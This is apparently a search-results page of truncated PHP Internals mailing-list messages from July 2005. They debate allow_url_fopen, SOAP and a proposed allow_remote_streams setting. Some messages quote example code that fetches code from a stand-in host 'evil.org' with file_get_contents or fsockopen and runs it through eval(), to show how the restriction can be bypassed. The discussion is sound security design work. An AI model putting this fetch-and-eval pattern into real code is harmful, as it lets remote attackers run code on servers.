In file included from
/root/kamesh/work/php-src/ext/pdo_sqlite/pdo_sqlite.c:31:
/root/kamesh/work/php-src/ext/pdo_sqlite/php_pdo_sqlite_int.h:24:21:
sqlite3.h: No such file or directory
In file included from
/root/kamesh/work/php-src/ext/pdo_sqlite/pdo_sqlite.c:31:
/root/kamesh/work/php-src/ext/pdo
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data sources
directly.
What exactly can you do with it other than query remote data sources?
I
On Thu, 28 Jul 2005 16:10:59 +0300
[EMAIL PROTECTED] (Zeev Suraski) wrote:
> At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
> >>Are you therefore saying SOAP support should be 100% diabled
> >>when allow_url_fopen is off?
> I tend to agree with Adam (and I guess Wez) - SOAP should not be
> affect
Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data
sources directly.
What exactly can you do with it other than query
On Jul 28, 2005, at 9:10 AM, Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data
sources directly.
What exactly ca
On Jul 28, 2005, at 9:21 AM, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data
sources di
At 04:21 PM 7/28/2005, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data sources
directly.
W
On Jul 28, 2005, at 9:28 AM, Zeev Suraski wrote:
At 04:21 PM 7/28/2005, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply pr
Zeev Suraski wrote:
3. Introduce allow_remote_streams (effectively allow_url_fopens
renamed, except it doesn't affect include/require)
If this option is disabled, would it simply prevent loading URLs via
various file based functions and a like (like allow_url_fopen now) or
will it also inclu
At 04:39 PM 7/28/2005, George Schlossnagle wrote:
sure: eval('file_get_contents("http://evil.org";);');
You could say this is just bad policy on the part of code authors,
but that's what these options were geared to handle in the first
place, right?
I don't know, I think that if you aim that
Zeev Suraski wrote:
At 04:52 PM 7/28/2005, Ilia Alshanetsky wrote:
It can already be done, disable_functions INI directive.
That won't work, eval() is not a function...
Ah yes, you're right... I guess we do need another INI setting.
Ilia
--
PHP Internals - PHP Runtime Development Mailing
That won't work, eval() is not a function...
Ah yes, you're right... I guess we do need another INI setting.
Or constructs-that-look-like-functions could be governed by
disable_functions (eval, echo).. that would cause other problems (like a
disabled "return"), though.
S
--
PHP Internals
On Jul 28, 2005, at 9:49 AM, Ilia Alshanetsky wrote:
sure: eval('file_get_contents("http://evil.org";);');
Ok, but there is nothing (allow_url_fopen does not work here)
preventing me from doing similar via:
$fp = fsockopen("evil.org", 80);
$fp = fwrite($fp, "GET /evil_code.txt HTTP/1.0\
Zeev Suraski wrote:
I don't know, I think that if you aim that well you should be allowed to
shoot yourself in the foot :) If we go that far, then running code
from the database through eval() should also not be allowed, because it
may have been indirectly written to by remote users. Which b
At 04:43 PM 7/28/2005, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
3. Introduce allow_remote_streams (effectively allow_url_fopens renamed,
except it doesn't affect include/require)
If this option is disabled, would it simply prevent loading URLs via
various file based functions and a like (
Zeev Suraski wrote:
At 04:43 PM 7/28/2005, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
3. Introduce allow_remote_streams (effectively allow_url_fopens
renamed, except it doesn't affect include/require)
If this option is disabled, would it simply prevent loading URLs via
various file base
sure: eval('file_get_contents("http://evil.org";);');
Ok, but there is nothing (allow_url_fopen does not work here) preventing
me from doing similar via:
$fp = fsockopen("evil.org", 80);
$fp = fwrite($fp, "GET /evil_code.txt HTTP/1.0\r\nHost: evil.org\r\n\r\n");
eval(stream_get_contents($fp)
At 04:52 PM 7/28/2005, Ilia Alshanetsky wrote:
It can already be done, disable_functions INI directive.
That won't work, eval() is not a function...
Zeev
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Ilia Alshanetsky wrote:
IMHO we should restrict or "disabling" code to just the
include/require constructs, since that is the main cause for concern.
Ultimately shy of disabling php's ability to request remote files
there is no way to prevent an attacker from fetching remote code and
then
On 7/28/05, Sean Coates <[EMAIL PROTECTED]> wrote:
> >> That won't work, eval() is not a function...
> >
> > Ah yes, you're right... I guess we do need another INI setting.
>
> Or constructs-that-look-like-functions could be governed by
> disable_functions (eval, echo).. that would cause other pro
Is this an extension or changes to the core? Do you already have a patch?
In any case, this would have to wait until earliest after the branch and go
to HEAD.
But I suggest to first make a proposal and show what you're planning on
doing here on internals@
Andi
At 03:02 PM 7/27/2005 -0400, Joh
Hello Andi,
during apacheCon EU it only needed a few more tweaks which should be done
by now (john?). And i can only say it looks really great! But anyway it's
sense is to produce more tests where we don't have any yet. And since
writing tests requires a lot of work most people hate i guess we c
Okay cool. In any case, when it's convenient sending it over to internals@
(maybe after OSCON) makes sense as many here weren't at ApacheCon EU.
Andi
At 08:37 PM 7/28/2005 +0200, Marcus Boerger wrote:
Hello Andi,
during apacheCon EU it only needed a few more tweaks which should be done
by n
Honestly it's only a patch to the build system to add basically
--enable-gcov to the configure (much like --enable-debug). Basically it
just checks for the proper libraries and utilities during configure as
it should and if everything is okay builds PHP with the proper compile-
time flags and libr
We'll save the discussion for after the Unicode merge but I actually came
up with some very good reasons why it's dangerous. Marcus just likes to
ignore them :)
At 10:51 PM 7/27/2005 +0200, Marcus Boerger wrote:
Hello Adam,
"we accepted that availability of enough excuses to delay it furthe
At 11:59 PM 7/28/2005 +0200, Marcus Boerger wrote:
Hello Andi,
na you convinced me. I only wanted to make fun out of the situation and
we really all forgot about the issue, didn't we?
:)
Andi
regards
marcus
Thursday, July 28, 2005, 11:45:52 PM, you wrote:
> We'll save the discussion f
Hello Andi,
na you convinced me. I only wanted to make fun out of the situation and
we really all forgot about the issue, didn't we?
regards
marcus
Thursday, July 28, 2005, 11:45:52 PM, you wrote:
> We'll save the discussion for after the Unicode merge but I actually came
> up with some very
27 matches
Mail list logo
